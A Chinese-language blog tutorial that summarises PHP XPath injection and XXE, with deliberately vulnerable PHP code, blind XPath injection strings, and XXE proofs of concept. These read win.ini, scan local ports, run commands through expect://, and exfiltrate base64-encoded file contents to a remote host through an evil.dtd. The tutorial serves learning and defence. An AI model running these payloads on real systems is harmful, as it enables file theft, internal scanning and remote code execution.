0x00前言:

本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用

xml是可扩展标记语言,它被设计出来是为了存储传输数据的。

它的结构是树形结构,并且标签要成对出现比如下面这个例子

<?xml version="1.0" encoding="utf-8"?>
<root><name>sijidou</name><from><country>China</country><city>xxxxx</city></from>
</root>

把上面的代码画个示意图

0x01xpath注入:

因为xml的产生是用于存储和传输数据的

既然能够存储数据,那么本质上和数据库一样是能够被增删改查的

虽然它在实际中不像数据库一样是来存大量用户数据的,但是xml在存储配置信息上还是十分有用的

就像sql注入一样,xml文件也可以被注入,并且xml没有管理用户一说,即能访问xml文件的话,对该xml的权限是一致的

首先准备下存储数据的xml文件

<?xml version="1.0" encoding="UTF-8"?>
<root><name>sijidou</name><from><country>China</country><city>Jiangsu</city></from><name>miku</name><from><country>Janpan</country><city>null</city></from><name>Rose</name><from><country>US</country><city>London</city></from>
</root>

接下来使用php进行数据读取的操作

simplexml_load_file是读取xml文件

xpath是查询语句,结果以数组返回给$result。查询语句结构是每个节点间用 "/" 来隔开,之后使用标签和键值匹配的结果

<?php$xml = simplexml_load_file("sijidou.xml");$result = $xml->xpath("/root[name = 'sijidou']");var_dump($result);
?>

这里将不同的查询语句和输出结果展示如下

查询语句

$result = $xml->xpath("/root/name");

输出值

array(3) { [0]=> object(SimpleXMLElement)#2 (1) { [0]=> string(7) "sijidou" } [1]=> object(SimpleXMLElement)#3 (1) { [0]=> string(4) "miku" } [2]=> object(SimpleXMLElement)#4 (1) { [0]=> string(4) "Rose" }
}

查询语句

$result = $xml->xpath("/root[name = 'sijidou']");

输出值

array(1) { [0]=> object(SimpleXMLElement)#2 (2) { ["name"]=> array(3) { [0]=> string(7) "sijidou" [1]=> string(4) "miku" [2]=> string(4) "Rose" } ["from"]=> array(3) { [0]=> object(SimpleXMLElement)#3 (2) { ["country"]=> string(5) "China" ["city"]=> string(7) "Jiangsu" } [1]=> object(SimpleXMLElement)#4 (2) { ["country"]=> string(6) "Janpan" ["city"]=> string(4) "null" } [2]=> object(SimpleXMLElement)#5 (2) { ["country"]=> string(2) "US" ["city"]=> string(6) "London" } } }
}

查询语句

$result = $xml->xpath("/root/from[country = 'China']");

输出值

array(1) { [0]=> object(SimpleXMLElement)#2 (2) { ["country"]=> string(5) "China" ["city"]=> string(7) "Jiangsu" }
}

从上面的结果看得出来,查询如果不是用[键='值']这种方式的查询,只会返回所有路径标签的值

如果带有[键='值']的查询,会返回和该路径相同的所有路径和该类路径之下节点的所有的值

那么查询语句结构大致清楚了,作为被存储数据的文件,一般会把某个值用户可控,然后拼接语句进行搜索

<?php$country = $_GET["country"];$xml = simplexml_load_file("sijidou.xml");$result = $xml->xpath("/root/from[country = '" . $country . "']");var_dump($result);
?>

正常的输入China,那么就会返回China和Jiangsu 2个值,但是xml查询语句有一些特殊的关键字,先介绍2个基础有用的

or      或 
and     与

那么我们子GET的值传入country = '1' or '1'='1,可以看到能查看到所有<from>的值,之前如果输入country=China,只能看到包含China的<from>标签里面的值

那么列出xml文件的所有元素

']|//* |a['
拼接成完整的语句是
/root/from[country = '']|//* |a['']

那么其中涉及到一些特殊表示

|   有点像linux系统命令的 && 来表示新的查询语言起始
//* 根路径下的所有参数 *是通配符

有时候没有回显的时候,就要利用判断语句进行盲注了

判断节点个数

1' or count(/*)=1 and '1'='1

猜字段内容, 查根节点的名字,如果按照我上面的xml文件,这里就是root

1' or substring(name(/*[position()=1]),1,1)='r' and '1'='1
1' or substring(name(/*[position()=1]),2,1)='o' and '1'='1

猜字段内容,查根节点<root>下一个节点的名字,这里是<name>

1' or substring(name(/root/*[position()=1]),1,1)='n' and '1'='1

判断根节点的下一个节点个数

1' or count(/root/*)=3 and '1'='1

猜节点里面内容

#查China节点
1' or substring(/root/from/country,1,1)='C' and '1'='1
#如果是查Janpan节点的话,要在前面的from加个下标
1' or substring(/root/from[2]/country,1,1)='J' and '1'='1

当然还有很多利用方法,有一个叫xcat的python工具可以进行测试,有兴趣的可以去尝试

https://github.com/orf/xcat

防御手段可以通过转义单引号或者关键字识别来达到阻止注入。

0x02XXE:

XXE叫做XML外部实体注入

现在传送数据的手段除了xml,还有json了,如果说两者有什么不同,xml是树形结构,而json是键值对的关系,json的2个数据间没有结构上的关系

一般的xml文件是这样的

<?xml version="1.0" encoding="utf-8"?>
<root><name>sijidou</name><from><country>China</country><city>xxxxx</city></from>
</root>

这种无法就是存储和被当做数据传递,并没有执行什么可疑的操作

但是xml有个叫做DTD(Document Type Definition)的东西

它可以规定xml里面的元素的行为,它的存在形式可以嵌套在xml文件里面,也可以单独成为一个文件,xml要使用其规则就直接添加一行引入就行

观察xml和dtd的约束规律,理论上要写java或者php或其他编程语言来检查文件,或报错。但是菜鸟教程上有个页面可以验证是否正确,但是要IE浏览器

XML 验证器 | 菜鸟教程

内部申明

<!DOCTYPE 根元素 [元素声明]>

套入上面的例子中

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[<!ELEMENT root (name,from)><!ELEMENT name    (#PCDATA)><!ELEMENT from (country,city)><!ELEMENT country (#PCDATA)><!ENTITY wa "China"><!ELEMENT city (#PCDATA)>
]>
<root><name>sijidou</name><from><country>&wa;</country><city>xxxx</city></from>
</root>

丢到刚刚推荐的网页上去检查

假设删掉一个city的元素声明,就报错了

DTD来规定xml意味着,DTD申明的元素下面xml必须包含,并且只能含有DTD申明的元素,(#PCDATA)为可读取的字段, (name, from)表示还包含子节点,它是个根节点或者中间节点

DOCTYPE可以理解为DTD文件起始,ELEMENT是对每个节点的规定,ENTITY给变量赋值,也就像编程时候的常数变量

外部申明

<!DOCTYPE 根元素 SYSTEM "文件名">

把规则先写到一个单一的文件夹下,test_dtd.dtd

<!ELEMENT root (name,from)>
<!ELEMENT name    (#PCDATA)>
<!ELEMENT from (country,city)>
<!ELEMENT country (#PCDATA)>
<!ENTITY wa "China">
<!ELEMENT city (#PCDATA)>

然后在xml中引入该文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "test_dtd.dtd">
<root>
<name>sijidou</name>
<from><country>&wa;</country><city>xxxx</city>
</from>
</root>

XXE这种攻击手段就是通过外部申明实体来完成的,因为

<!DOCTYPE root SYSTEM "file">  因为有时候是从web其他的站点引入dtd文件的,所以这个file可以带协议头,比如file://,php://filter之类的

再者可以通过ENTITY来输出变量的值,变量的值也可以是文件

那么我们可以利用把文件内容赋值给变量,然后再输出变量,就把文件内容输出来了

读取文件内容

漏洞源码

<?php$xmlfile =file_get_contents('php://input');$xml = simplexml_load_string($xmlfile);$xxe = $xml->xxe;$str = "$xxe";echo $str;
?>

然后是漏洞利用poc

<?xml version="1.0"?>
<!DOCTYPE root[<!ENTITY c SYSTEM "file:///c:/windows/win.ini">
]>
<root>
<xxe>&c;</xxe>
</root>

看到可以成功读取我本地电脑上的c:/windows/win.ini文件了,但是貌似只能支持绝对路径

端口扫描

扫描端口是利用http协议,带上目标端口地址的ip,当然请求是目标服务器发出的所以只要连了内网还能扫描内网的端口

<?xml version="1.0"?>
<!DOCTYPE root[<!ENTITY c SYSTEM "http://127.0.0.1:80">
]>
<root>
<xxe>&c;</xxe>
</root>

成功的回显

失败的回显

通过DTD进行信息回显

因为有时候xml是注入进去了,但是没有回显,比如以下情况

<?php$xmlfile =file_get_contents('php://input');$xml = simplexml_load_string($xmlfile);
?>

发送情况,啥都没有,但是xml是进行了加载的

那么可以通过dtd文件进行回显

原理是用加载远程的dtd文件,然后通过远程的dtd文件把file文件内容以url后面参数的形式发给远程服务器,url的get参数会记录在日志中,于是就能获得文件内容

本地发送的payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY % send SYSTEM "http://10.10.10.128/evil.dtd">
%send;
]>
<root>&xml;</root>

远程的evil.dtd文件

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">
%payload;

这里的 %[空格]file 表示file这个变量,参数是 SYSTEM "..."

使用变量即%file;,之后那个单独的%payload;那一行,表示执行第三行<!ENTITY % payload .....>这条语句,不加就不会执行

利用方式,首先在远程服务器上监听2333端口

然后,burpsuite把poc发过去

回头这边的远程服务器接收到了数据了

看看wireshark的流量,也可也看到get请求

再把base64解个码就是文件的内容了

这里特别要注意几个点,因为最先测试的时候,并没有完全使用网上的poc,想试着手写以下,然后无法回显,最后仔细研究了下

参考的XXE文章没有提到

发送的payload的

<root>&xml;</root>

要和远程服务器上的evil.dtd中的为payload参数的 <!ENTITY xml SYSTEM ....>里面这个xml参数要一模一样,不然无法利用成功

<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">

还有一点,因为win.ini里面有空格换行或者其他奇怪的字符,如果直接发送给远程服务器当get会不和规范,所以借助php://filter进行编码处理

远程代码执行

这种情况需要php安装并启用expect插件,那么在xxe的时候能够使用expect协议进行远程代码执行

<?xml version="1.0"?>
<!DOCTYPE root[<!ENTITY c SYSTEM "expect://dir">
]>
<root>
<xxe>&c;</xxe>
</root>

0x03无法利用:

我搭建的环境是win10 + phpstudy,最先使用的php版本是5.6,发现并无法利用xxe,然后测试了下所有的phpstudy上的php版本

发现5.4及以下能够利用,而5.5及以上都无法利用

从这篇文章中找到了答案:【XXE】XXE漏洞攻击与防御 - 简书

原因是xmllib2.9.0以后,是默认不解析外部实体的

这里我的php5.4的xmllib是2.7.8的

切换成php5.5,发现xmllib是2.9.4的了

0xFF结语:

参考链接

xml的攻击手段:XML注入介绍--XXE,XEE,xpath等 - lcamry - 博客园

xpath的基础介绍:XPath 语法

xpath注入利用:技术成就梦想51CTO-中国领先的IT技术网站

        xpath注入详解 - 渗透测试中心 - 博客园

XXE参考:[Web安全] XXE漏洞攻防学习(上) - ESHLkangi - 博客园

     [Web安全] XXE漏洞攻防学习(中) - ESHLkangi - 博客园

     XXE漏洞利用技巧:从XML到远程代码执行 - FreeBuf网络安全行业门户

     xxe漏洞的学习与利用总结 - 水泡泡 - 博客园

     【XXE】XXE漏洞攻击与防御 - 简书

源码丢github上了:https://github.com/SiJiDo/WEB/tree/master/XML

XML相关的安全漏洞-XXE,XPATH小结(XXE注入、XPATH注入)相关推荐

  1. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  2. 进一步考察与UI相关的安全漏洞-下

    提取私人信息 在介绍这个漏洞之前,让我们先了解一下占位符.众所周知,当我们与自动填充建议的用户界面互动时,如果将鼠标悬停在每个建议的条目上,都会发生一些有趣的事情.一个占位符值将被放置在我们试图填写的 ...

  3. 进一步考察与UI相关的安全漏洞-上

    简介 当涉及应用程序的用户界面(UI)时,人们关心的往往是美观.设计的一致性.简单性和清晰性.然而,像浏览器这样的应用程序,不仅需要加载.解析不受信任的内容,而且还需要提供相应的API来调用各种UI, ...

  4. python 爬虫(七)lxml模块 + lxml数据提取(字符串的xml/html文件--转换--element对象--转换--字符串)调用XPath方法筛选数据 + 案例(扇贝 酷狗 网易云音乐)

    爬虫小知识:爬取网站流程 确定网站哪个url是数据的来源. 简要分析一下网站结构,查看数据一般放在哪里. 查看是否有分页,解决分页的问题. 发送请求,查看response.text里面是否有我们想要的 ...

  5. java xxe漏洞利用_JAVA的XXE漏洞

    1. XXE简介 XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体数据进行处理时,可能存在恶意行为导致读取任意文件.探测内网端口.攻击内网网站.发起Do ...

  6. python xml xpath定位_selenium3 + python - xpath定位

    什么是xpath呢? 官方介绍:XPath即为XML路径语言,它是一种用来确定XML1(标准通用标记语言3的子集)文档中某部分位置的语言.反正小编看这个介绍是云里雾里的,通俗一点讲就是通过元素的路径来 ...

  7. TLS/SSl相关的攻击漏洞及检测方法大杂烩!

    TLS/SSl相关的攻击漏洞及检测方法大杂烩! 曾以为爱可以排除万难,可万难过后,又有万难. 漏洞介绍: TLS/SSL介绍: SSL"安全套接层"协议,TLS"安全传输 ...

  8. python爬虫xpath教程_使用 Xpath 进行爬虫开发

    使用 Xpath 进行爬虫开发 Xpath( XML Path Language, XML路径语言),是一种在 XML 数据中查找信息的语言,现在,我们也可以使用它在 HTML 中查找需要的信息. 既 ...

  9. 测试具有44个漏洞点的简单小靶场-SQL注入篇

    文章目录 本地搭建 SQL注入篇 注入1(数字型注入) 注入2(闭合单引号) 注入3(闭合双引号) 注入4(闭合括号) 注入5(报错注入) 注入6(布尔盲注) 注入7(过滤了'--'和'#'以及'%2 ...

最新文章

  1. Chapter 1 Securing Your Server and Network(9):使用Kerberos用于身份验证
  2. 10.15 wget:命令行下载工具
  3. 解析函數論 Page 22 級數收斂的一個充分條件
  4. numpy之高维数组的转置:transpose方法——通过几何体来迅速理解
  5. Npoi Web 项目中(XSSFWorkbook) 导出出现无法访问已关闭的流
  6. oracle数据库修改归档和非归档模式
  7. 抗锯齿 文字_PS之使用文字工具
  8. SCWS中文分词,功能函数实例应用
  9. Oracle查看被锁的表和解锁[转]
  10. 简单理解JavaScript中的闭包
  11. 计算机使用交接记录表,交接文档_计算机软件及应用_IT计算机_专业资料
  12. 网站制作从原型图架构到设计开发的具体步骤
  13. 网络空间安全导论实践报告
  14. 路由器双线上网 网速翻倍不花钱
  15. 不知道如何选择可视化图形?9大类别数据图表教你使用最佳表达图形
  16. 每日思维风暴(子串分值、子串分值和)
  17. [附源码]SSM计算机毕业设计高校教师教学助手系统的设计与实现JAVA
  18. 云便签Mac和Web网页版怎么对便签内容排序?
  19. 浮点数的存储(Normalized Denormalized 特殊值)
  20. 计算机应用龙头300168,万达信息(300168)个股分析_牛叉诊股_同花顺财经

热门文章

  1. 你的adonis用对了吗?不同因素的顺序竟然对结果有很大影响
  2. python 线性规划问题_一学高数,线代就头疼?让python帮你解决(内含教程)
  3. js hover 触发事件_为什么说JS的DOM操作很耗性能
  4. STM32H743+CubeMX-QSPI读写外部FLASH(W25Q128JVSQ)
  5. python3库黑客_想知道黑客为什么首先Python吗?看看这些渗透测试工具和库
  6. python需要的基础_推荐收藏!小白不要怕!一周学全Python面试基础(2)
  7. 生成器 python0 1 8 27 64_python 生成式和生成器
  8. ThinkPHP6项目基操(18.实战部分 表单令牌Token 防CSRF)
  9. 活跃用户数怎么计算_【数据运营】|如何做好活跃用户的运营?
  10. 红外探头_问题3: 关于在线近红外光谱仪的探头